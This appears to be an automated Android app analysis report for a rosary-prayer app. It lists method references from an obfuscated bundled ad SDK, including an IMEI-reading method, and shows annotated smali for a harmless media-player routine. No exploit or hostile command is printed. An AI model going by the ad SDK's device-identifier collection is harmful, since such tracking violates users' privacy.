Method: ..:41 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd.open:37 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd.open:45 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd.open:53 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd.open:96 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd.open:104 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd.open:112 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.close:13 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.close:22 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.close:31 Show source
Method: ..:23 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.call:45 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.call:54 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.call:63 Show source
Method: com.vxjxu.jkhfn1870.UserDetails.getImei:16 Show source
Method: com.vxjxu.jkhfn1870.UserDetails.getImei:52 Show source
Method: ..:27 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onBackPressed:10 Show source
Method: com.vxjxu.jkhfn1870.AirPlay$2.onTaskComplete:59 Show source
Method: com.vxjxu.jkhfn1870.SendIntegrationError.sendIntegartionError:13 Show source
Method: ..:8 Show source
Method: ..:14 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$3.run:16 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$3.run:24 Show source
Method: ..:9 Show source
Method: ..:18 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:32 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:50 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:112 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:118 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:129 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:155 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:187 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:193 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:210 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:258 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:279 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:290 Show source
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:301 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:13 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:58 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:102 Show source
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:122 Show source
Method: ..:9 Show source
Method: ..:17 Show source
Method: ..:25 Show source
Method: ..:33 Show source
Method: ..:45 Show source
Method: ..:75 Show source
Method: ..:107 Show source
Method: ..:31 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.parseRichMediaInterstitialJson:17 Show source
Method: ..:55 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.validateStatusCode:7 Show source
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:12 Show source
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:32 Show source
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:63 Show source
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:94 Show source
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:114 Show source
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:145 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:27 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:36 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:45 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:82 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:91 Show source
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:100 Show source
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:6 Show source
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:14 Show source
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:22 Show source
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:30 Show source
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:38 Show source
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:46 Show source
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:54 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setAdOrientation:25 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setAdOrientation:60 Show source
Method: com.vxjxu.jkhfn1870.MraidView.setAdOrientation:79 Show source
Method: com.vxjxu.jkhfn1870.MraidView.<init>:76 Show source
Method: ..:239 Show source
Method: ..:250 Show source
Method: ..:308 Show source
Method: ..:769 Show source
Method: ..:810 Show source
Method: com.vxjxu.jkhfn1870.AirPlay$5.onTaskComplete:51 Show source
Method: ..:24 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:55 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:61 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:67 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:73 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:79 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:91 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:98 Show source
Method: com.vxjxu.jkhfn1870.AdView.<init>:104 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:69 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:92 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:115 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:138 Show source
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:170 Show source

5 Executed Methods

Cross References
APIs
  • prsolutions.rosariofacileads.Player.setContentView
  • prsolutions.rosariofacileads.Player.findViewById
  • prsolutions.rosariofacileads.Player.FormattaOggi
  • android.widget.TextView.setText
  • prsolutions.rosariofacileads.Player.findViewById
  • android.widget.Button.setOnClickListener
  • prsolutions.rosariofacileads.Player.findViewById
  • prsolutions.rosariofacileads.Player.getSharedPreferences
  • android.content.SharedPreferences.getBoolean
  • prsolutions.rosariofacileads.Player.ToggleSleep
Strings
  • MyPrefsFile
  • sleep_mode
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
2const v1, 0x7f030002
4invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->setContentView(I)V
  • Time: 59883
    • This:
      • prsolutions.rosariofacileads.Player@1d08e6f3
    • layoutResID: 2130903042
5const/high16 v1, 0x7f070000
7invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131165184
8move-result-object v1
9check-cast v1, Landroid/widget/TextView;
10iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mtoday:Landroid/widget/TextView;
12iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mtoday:Landroid/widget/TextView;
13iget v2, p0, Lprsolutions/rosariofacileads/Player;->Mistero:I
15invoke-virtual {p0, v2}, Lprsolutions/rosariofacileads/Player;->FormattaOggi(I)Ljava/lang/String;
16move-result-object v2
18invoke-virtual {v1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
19const v1, 0x7f070007
21invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131165191
22move-result-object v1
23check-cast v1, Landroid/widget/Button;
24iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mPause:Landroid/widget/Button;
26iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mPause:Landroid/widget/Button;
28iget-object v2, p0, Lprsolutions/rosariofacileads/Player;->mPauseListener:Landroid/view/View$OnClickListener;
30invoke-virtual {v1, v2}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
31const v1, 0x7f070008
33invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131165192
34move-result-object v1
35check-cast v1, Landroid/widget/ImageView;
36iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mRosario:Landroid/widget/ImageView;
37const v1, 0x7f070004
39invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131165188
40move-result-object v1
41check-cast v1, Landroid/widget/LinearLayout;
42iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
44const-string v1, "MyPrefsFile"
46invoke-virtual {p0, v1, v3}, Lprsolutions/rosariofacileads/Player;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • p0: MyPrefsFile
    • p1: 0
47move-result-object v0
49const-string v1, "sleep_mode"
51invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: sleep_mode
    • p1: 0
52move-result v1
53iput-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z
54iget-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z
56invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->ToggleSleep(Z)V
57return-void
Cross References
APIs
  • java.lang.Integer.intValue
  • android.widget.LinearLayout.invalidate
  • android.media.MediaPlayer.start
  • android.media.MediaPlayer.setOnCompletionListener
  • android.media.MediaPlayer.create
  • prsolutions.rosariofacileads.Player.AggiungiPallino
  • android.media.MediaPlayer.create
  • prsolutions.rosariofacileads.Player.AggiungiPallino
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
  • android.media.MediaPlayer.create
  • android.widget.LinearLayout.setBackgroundResource
Position Instruction Meta Information
0.param p1, "media" # Ljava/lang/Integer;
1.prologue
2const/16 v0, 0xa
3try_start_2:
4invoke-virtual {p1}, Ljava/lang/Integer;->intValue()I
5move-result v1
6packed-switch v1, :pswitch_data_21c
7goto_9:
8iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
10invoke-virtual {v1}, Landroid/widget/LinearLayout;->invalidate()V
12iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
14invoke-virtual {v1}, Landroid/media/MediaPlayer;->start()V
16iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
18iget-object v2, p0, Lprsolutions/rosariofacileads/Player;->mPlayerListener:Landroid/media/MediaPlayer$OnCompletionListener;
20invoke-virtual {v1, v2}, Landroid/media/MediaPlayer;->setOnCompletionListener(Landroid/media/MediaPlayer$OnCompletionListener;)V
21goto_1a: return-void
22pswitch_1b: const/16 v0, 0x1e
23const v1, 0x7f04001b
25invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968603
26move-result-object v1
27iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
29invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V
30goto/16 :goto_9
31catch_2a: move-exception v1
32goto/16 :goto_1a
33pswitch_2c: const/high16 v1, 0x7f040000
35invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968576
36move-result-object v1
37iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
39invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V
40goto/16 :goto_9
41pswitch_38: const v1, 0x7f040002
43invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968578
44move-result-object v1
45iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
46goto/16 :goto_9
47pswitch_42: const v1, 0x7f040019
49invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968601
50move-result-object v1
51iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
52goto/16 :goto_9
53pswitch_4c: const v1, 0x7f04001a
55invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968602
56move-result-object v1
57iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
58goto/16 :goto_9
59pswitch_56: const v1, 0x7f040018
61invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Time: 59920
    • p0: prsolutions.rosariofacileads.Player@1d08e6f3
    • p1: 2130968600
    • Return:
      • android.media.MediaPlayer@12ecff8
62move-result-object v1
63iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
64goto/16 :goto_9
65pswitch_60: const v1, 0x7f04001c
67invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968604
68move-result-object v1
69iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
70goto/16 :goto_9
71pswitch_6a: const v1, 0x7f040001
73invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968577
74move-result-object v1
75iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
76goto/16 :goto_9
77pswitch_74: const v1, 0x7f040017
79invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968599
80move-result-object v1
81iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
82goto/16 :goto_9
83pswitch_7e: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
84sparse-switch v1, :sswitch_data_23c
85goto/16 :goto_9
86sswitch_84: const v1, 0x7f040012
88invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968594
89move-result-object v1
90iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
92iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
93const v2, 0x7f020010
95invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837520
96goto/16 :goto_9
97sswitch_97: const v1, 0x7f040008
99invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968584
100move-result-object v1
101iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
103iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
104const v2, 0x7f020005
106invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837509
107goto/16 :goto_9
108sswitch_aa: const v1, 0x7f040003
110invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968579
111move-result-object v1
112iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
114iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
115const/high16 v2, 0x7f020000
117invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837504
118goto/16 :goto_9
119sswitch_bc: const v1, 0x7f04000d
121invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968589
122move-result-object v1
123iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
125iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
126const v2, 0x7f02000a
128invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837514
129goto/16 :goto_9
130pswitch_cf: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
131sparse-switch v1, :sswitch_data_24e
132goto/16 :goto_9
133sswitch_d6: const v1, 0x7f040013
135invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968595
136move-result-object v1
137iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
139iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
140const v2, 0x7f020011
142invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837521
143goto/16 :goto_9
144sswitch_e9: const v1, 0x7f040009
146invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968585
147move-result-object v1
148iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
150iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
151const v2, 0x7f020006
153invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837510
154goto/16 :goto_9
155sswitch_fc: const v1, 0x7f040004
157invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968580
158move-result-object v1
159iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
161iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
162const v2, 0x7f020001
164invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837505
165goto/16 :goto_9
166sswitch_10f: const v1, 0x7f04000e
168invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968590
169move-result-object v1
170iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
172iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
173const v2, 0x7f02000b
175invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837515
176goto/16 :goto_9
177pswitch_122: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
178sparse-switch v1, :sswitch_data_260
179goto/16 :goto_9
180sswitch_129: const v1, 0x7f040014
182invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968596
183move-result-object v1
184iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
186iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
187const v2, 0x7f020012
189invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837522
190goto/16 :goto_9
191sswitch_13c: const v1, 0x7f04000a
193invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968586
194move-result-object v1
195iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
197iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
198const v2, 0x7f020007
200invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837511
201goto/16 :goto_9
202sswitch_14f: const v1, 0x7f040005
204invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968581
205move-result-object v1
206iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
208iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
209const v2, 0x7f020002
211invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837506
212goto/16 :goto_9
213sswitch_162: const v1, 0x7f04000f
215invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968591
216move-result-object v1
217iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
219iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
220const v2, 0x7f02000c
222invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837516
223goto/16 :goto_9
224pswitch_175: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
225sparse-switch v1, :sswitch_data_272
226goto/16 :goto_9
227sswitch_17c: const v1, 0x7f040015
229invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968597
230move-result-object v1
231iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
233iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
234const v2, 0x7f020013
236invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837523
237goto/16 :goto_9
238sswitch_18f: const v1, 0x7f04000b
240invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968587
241move-result-object v1
242iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
244iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
245const v2, 0x7f020008
247invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837512
248goto/16 :goto_9
249sswitch_1a2: const v1, 0x7f040006
251invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968582
252move-result-object v1
253iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
255iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
256const v2, 0x7f020003
258invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837507
259goto/16 :goto_9
260sswitch_1b5: const v1, 0x7f040010
262invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968592
263move-result-object v1
264iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
266iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
267const v2, 0x7f02000d
269invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837517
270goto/16 :goto_9
271pswitch_1c8: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
272sparse-switch v1, :sswitch_data_284
273goto/16 :goto_9
274sswitch_1cf: const v1, 0x7f040016
276invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968598
277move-result-object v1
278iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
280iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
281const v2, 0x7f020014
283invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837524
284goto/16 :goto_9
285sswitch_1e2: const v1, 0x7f04000c
287invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968588
288move-result-object v1
289iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
291iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
292const v2, 0x7f020009
294invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837513
295goto/16 :goto_9
296sswitch_1f5: const v1, 0x7f040007
298invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968583
299move-result-object v1
300iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
302iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
303const v2, 0x7f020004
305invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837508
306goto/16 :goto_9
307sswitch_208: const v1, 0x7f040011
309invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer;
  • Data flow analysis:
    • resid: 2130968593
310move-result-object v1
311iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
313iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout;
314const v2, 0x7f02000e
316invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V
  • Data flow analysis:
    • p0: 2130837518
317try_end_219: goto/16 :goto_9
318nop
Cross References
APIs
  • java.util.GregorianCalendar.<init>
  • java.util.Calendar.get
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
